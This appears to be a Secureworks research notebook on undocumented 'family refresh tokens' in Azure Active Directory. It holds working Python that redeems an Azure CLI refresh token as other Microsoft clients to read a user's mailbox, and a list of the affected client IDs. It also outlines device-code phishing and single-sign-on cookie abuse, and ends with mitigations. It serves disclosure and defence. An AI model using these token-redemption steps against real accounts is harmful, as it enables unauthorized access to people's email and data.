jupyter | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
Undocumented functionality in Azure Active Directory allows a group of Microsoft OAuth client applications to obtain special “family refresh tokens,” which can be redeemed for bearer tokens as any other client in the family.
We will discuss how this functionality was uncovered, the mechanism behind it, and various attack paths to obtain family refresh tokens. We will demonstrate how this functionality can be abused to access sensitive data. Lastly, we will share relevant information to mitigate the theft of family refresh tokens.
- Ryan Marcotte Cobb
- CTU Special Operations
- Secureworks
- Azure Active Directory and OAuth 2.0
- Research, Experimentation, Findings
- Introducing Family of Client IDs (FOCI) & Family Refresh Tokens (FRTs)
- Attack Paths to Family Refresh Tokens
- Mitigations for Family Refresh Tokens
https://github.com/secureworks/family-of-client-ids-research
- AAD and OAuth 2.0: Specification and Implementation
- OAuth application dependencies in Microsoft 365
- Pre-authorization/pre-consent for some first-party applications
- Auth code, ROPC, implicit, device code, ObO, etc.
- Public vs. confidential clients
- Bearer tokens
Type | Standard | Lifetime |
---|---|---|
ID Token | OIDC | 1 Hour |
Access Token | OAuth 2.0 | 1 hour |
Refresh Token | OAuth 2.0 | 90 days |
#!pip install -r requirements.txt
import msal
import requests
import jwt
import pandas as pd
pd.options.display.max_rows = 999
from pprint import pprint
from typing import Any, Dict, List
- Grant flow: device code authorization grant
- OAuth client: Azure CLI
- Client ID:
04b07795-8ddb-461a-bbee-02f9e1bf7b46
- Scopes requested:
.default
,offline_access
- Resource:
https://graph.microsoft.com
# App ID for Azure CLI client
azure_cli_client = msal.PublicClientApplication("04b07795-8ddb-461a-bbee-02f9e1bf7b46")
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"] # Requested scopes
)
print(device_flow["message"])
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
print('Tokens acquired!')
pprint(azure_cli_bearer_tokens_for_graph_api)
- the provenance of the token (
iss
) - the resource owner and client application (
oid
/upn
,appid
) - the authorized scopes (
scp
) - the issuance and expiration times (
iat
,exp
) - the resource server (
aud
) - the authentication methods that the resource owner used to authorize the client application (
amr
)
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)
- Call Graph API endpoint:
/me/oauth2PermissionGrants
- Graph Permissions map to scopes
- This API requires
Directory.Read.All
,DelegatedPermissionGrant.ReadWrite.All
,Directory.ReadWriteAll
, orDirectory.AccessAsUser.All
- Pre-authorized/pre-consented first-party applications are invisible
def check_my_oauth2PermissionGrants(access_token: str) -> Dict[str, Any]:
"""Lists OAuth2PermissionGrants for the authorized user."""
url = "https://graph.microsoft.com/beta/me/oauth2PermissionGrants"
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {access_token}",
}
return requests.get(url, headers=headers).json()
check_my_oauth2PermissionGrants(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
- Long-lived bearer token
- Always non-interactive (inherits
amr
claims) - Used to mint new access tokens
- High-value target for adversaries: token theft, replay
The OAuth 2.0 specifications include safeguards to mitigate the potential risks of/from refresh token theft:
- Safeguard #1: Same Scopes
- Safeguard #2: Same Client
In short, the level of access afforded by a refresh token should match what the user authorized to the client.
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
print('\n===========================================\n')
pprint(decode_jwt(new_azure_cli_bearer_tokens_for_graph_api.get("access_token")))
AAD RTs already ignore safeguard #1. This is documented behavior.
Refresh tokens are also used to acquire extra access tokens for other resources. Refresh tokens are bound to a combination of user and client, but aren't tied to a resource or tenant. As such, a client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so. Link
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get("refresh_token" ),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
print('===========================================')
pprint(decode_jwt(azure_cli_bearer_tokens_for_outlook_api.get("access_token")))
- Inspired by TokenTactics and AADInternals
- RTs issued to Client A redeemed for new tokens as Client B
- Different scopes... and different clients?
- This is not documented
# Microsoft Office Client ID
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
print('===========================================')
pprint(decode_jwt(microsoft_office_bearer_tokens_for_graph_api.get("access_token")))
- What is the mechanism and purpose behind this undocumented behavior?
- Which client applications are compatible with each other?
- Can this behavior be abused for fun and profit?
- Assembled a list of known Microsoft OAuth applications and resources
- Acquired tokens for each client app and resource pair
- Brute force: attempted to redeem RTs for each client app and resource pair
- Pending publication on experiment design in ICEIS 2022
- RTs successfully redeemed for a different client: 15/~600 Microsoft OAuth apps
- All 15 client apps were first-party, pre-authorized, public, and present by default in tenant
- All 15 client apps could redeem RTs for any of the other 15 client apps
- Authorized scopes based on the new client app
- Works cross-tenant with B2B guest user
- The AS returned additional field:
foci
The term “FOCI” is only mentioned once in official Microsoft documentation:
- An acronym for “Family of Client IDs”
- Related to signing into multiple Microsoft Office applications on mobile devices
Sleuthing MS Identity SDKs on Github:
"FUTURE SERVER WORK WILL ALLOW CLIENT IDS TO BE GROUPED ON THE SERVER SIDE IN A WAY WHERE A RT FOR ONE CLIENT ID CAN BE REDEEMED FOR A AT AND RT FOR A DIFFERENT CLIENT ID AS LONG AS THEY'RE IN THE SAME GROUP. THIS WILL MOVE US CLOSER TO BEING ABLE TO PROVIDE SSO-LIKE FUNCTIONALITY BETWEEN APPS WITHOUT REQUIRING THE BROKER (OR WORKPLACE JOIN)."
- RTs issued to FOCI "family" clients called "family refresh tokens" (FRTs)
- Only one family exists
- MSRC confirmed FOCI as legit software feature
- Mirrors the behavior of mobile operating systems that store authentication artifacts (such as refresh tokens) in a shared token cache with other applications from the same software publisher
As more are discovered, will add to known-foci-clients.csv
.
Application ID | Application Name |
---|---|
00b41c95-dab0-4487-9791-b9d2c32c80f2 | Office 365 Management |
04b07795-8ddb-461a-bbee-02f9e1bf7b46 | Microsoft Azure CLI |
1950a258-227b-4e31-a9cf-717495945fc2 | Microsoft Azure PowerShell |
1fec8e78-bce4-4aaf-ab1b-5451cc387264 | Microsoft Teams |
26a7ee05-5602-4d76-a7ba-eae8b7b67941 | Windows Search |
27922004-5251-4030-b22d-91ecd9a37ea4 | Outlook Mobile |
4813382a-8fa7-425e-ab75-3b753aab3abb | Microsoft Authenticator App |
ab9b8c07-8f02-4f72-87fa-80105867a763 | OneDrive SyncEngine |
d3590ed6-52b3-4102-aeff-aad2292ab01c | Microsoft Office |
872cd9fa-d31f-45e0-9eab-6e460a02d1f1 | Visual Studio |
af124e86-4e96-495a-b70a-90f90ab96707 | OneDrive iOS App |
2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8 | Microsoft Bing Search for Microsoft Edge |
844cca35-0656-46ce-b636-13f48b0eecbd | Microsoft Stream Mobile Native |
87749df4-7ccf-48f8-aa87-704bad0e0e16 | Microsoft Teams - Device Admin Agent |
cf36b471-5b44-428c-9ce7-313bf84528de | Microsoft Bing Search |
- Not bound by client or resource, FRTs afford uniquely broad access compared to normal RTs
- Effectively provides authorization for the union of scopes consented to the entire FOCI "family" group
- Take a look at all the scopes available (
scope-map.txt
) - Blast radius from FRT theft considerably larger than normal RTs
Imagine Azure CLI tokens stolen from ~/.Azure/accessTokens.json
.
def read_email_messages(access_token: str) -> List[Dict[str, Any]]:
"""List the user's email messages."""
url = "https://graph.microsoft.com/beta/me/mailfolders/inbox/messages"
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {access_token}",
}
return pprint(requests.get(url, headers=headers).json())
If the adversary steals tokens that don't have consent for the desired scopes...
read_email_messages(azure_cli_bearer_tokens_for_graph_api.get("access_token"))
No luck.
But if the adversary redeems the FRT for a different FOCI "family" client app that has consent for the desired scopes:
read_email_messages(microsoft_office_bearer_tokens_for_graph_api.get("access_token"))
Great success!
- Redeem FRT for ATs for every FOCI "family" client app
- New FRT do not invalidate previously issued FRTs
- "All the tokens!" did not trigger CAE/risky behavior during testing
- Explore the data yourself
from utils import get_tokens_for_foci_clients
df = get_tokens_for_foci_clients(azure_cli_bearer_tokens_for_graph_api, demo=True)
df.head()
(
df.assign(
scp=df.scp.str.split()
)
.explode('scp')
.groupby([
'scp',
'aud',
'appid'
])
.size()
.to_frame()
)
- Level of access relative to directory role assignments is unchanged
- Privesc relative to the client application
- Privesc relative to user authorization
- Privesc relative to defender expectations
RFC 6819 enumerates a variety of attack paths:
- Stealing a previously and legitimately issued family refresh token
- Obtaining a family refresh token through malicious authorization
We focused our attention on how an attacker could obtain family refresh tokens by maliciously authorizing a family client application.
All known FOCI "family" client apps support device authorization grant flow.
Benefits
Device code phishing with FOCI client apps:
- Choose the best client app as the lure for social engineering
- Redeem FRT for client with desired scopes
Threat model: automatically authorizing client applications
Attack
- On an AAD-joined Windows devices with SSO enabled
- Get process execution as signed-in Azure AD user
- Request a PRT pre-signed cookie from a COM service
- Use cookie to complete an auth grant flow for family client app
- Redeem FRTs as desired
Benefits
- Relatively low bar-to-entry
- Completely silent to the user
- Only need one PRT-derived
x-ms-RefreshTokenCredential
cookie - Inherits device claims
Conditional Access Policies still apply to family client applications and FRTs, but...
- based on Client ID trivially bypassed if another family client app has consent for desired scopes
- that require multi-factor authentication, however, do not impede attackers from abusing legitimately issued FRTs since RT grants are always non-interactive
- based on trusting the device are ineffective when a family client app is maliciously authorized by abusing SSO
- Microsoft plans to improve CA to allow restricting the issuance of FRTs and unbound refresh tokens in the future
Recent testing shows "Office apps" applies CA against the resource, not client!
- Unfortunately, Microsoft dismissed the idea of publishing the current list of FOCI clients because the “list changes frequently with new apps and removal of old apps”
- Currently no indication if the sign-in was done using a FRT
- Monitor for bursts of non-interactive sign-ins using multiple FOCI clients in a short period of time
Connect-AzureAD
Revoke-AzureADUserAllRefreshToken -ObjectId johndoe@contoso.com
- Defenders must aggressively revoke refresh tokens whenever an account is suspected to be compromised.
- Resetting a compromised user's password does not automatically invalidate bearer tokens that have already been issued in many circumstances
- Continuous access evaluation (CAE) is relevant, but not universally supported
- Refresh tokens are long-lived credentials
- The scopes authorized determine the blast radius from refresh token theft
- OAuth Specifications include safeguards to mitigate potential risk
- AAD does not enforce these safeguards for refresh tokens
- Considerable security implications from undocumented
foci
and FRT feature - Defenders have a right to know about FOCI
- “Consent” seems incompatible with invisible pre-authorized fist-party clients
- Need to know the list of FOCI client apps to monitor for them
- Organizations need to determine legitimate business need and be able to deny access
- Microsoft stated: “in the future we may move away from FOCI completely”
- Tony Gore, CTU Special Operations
- Dr. Nestori Syyinmaa (@DrAzure), CTU Special Operations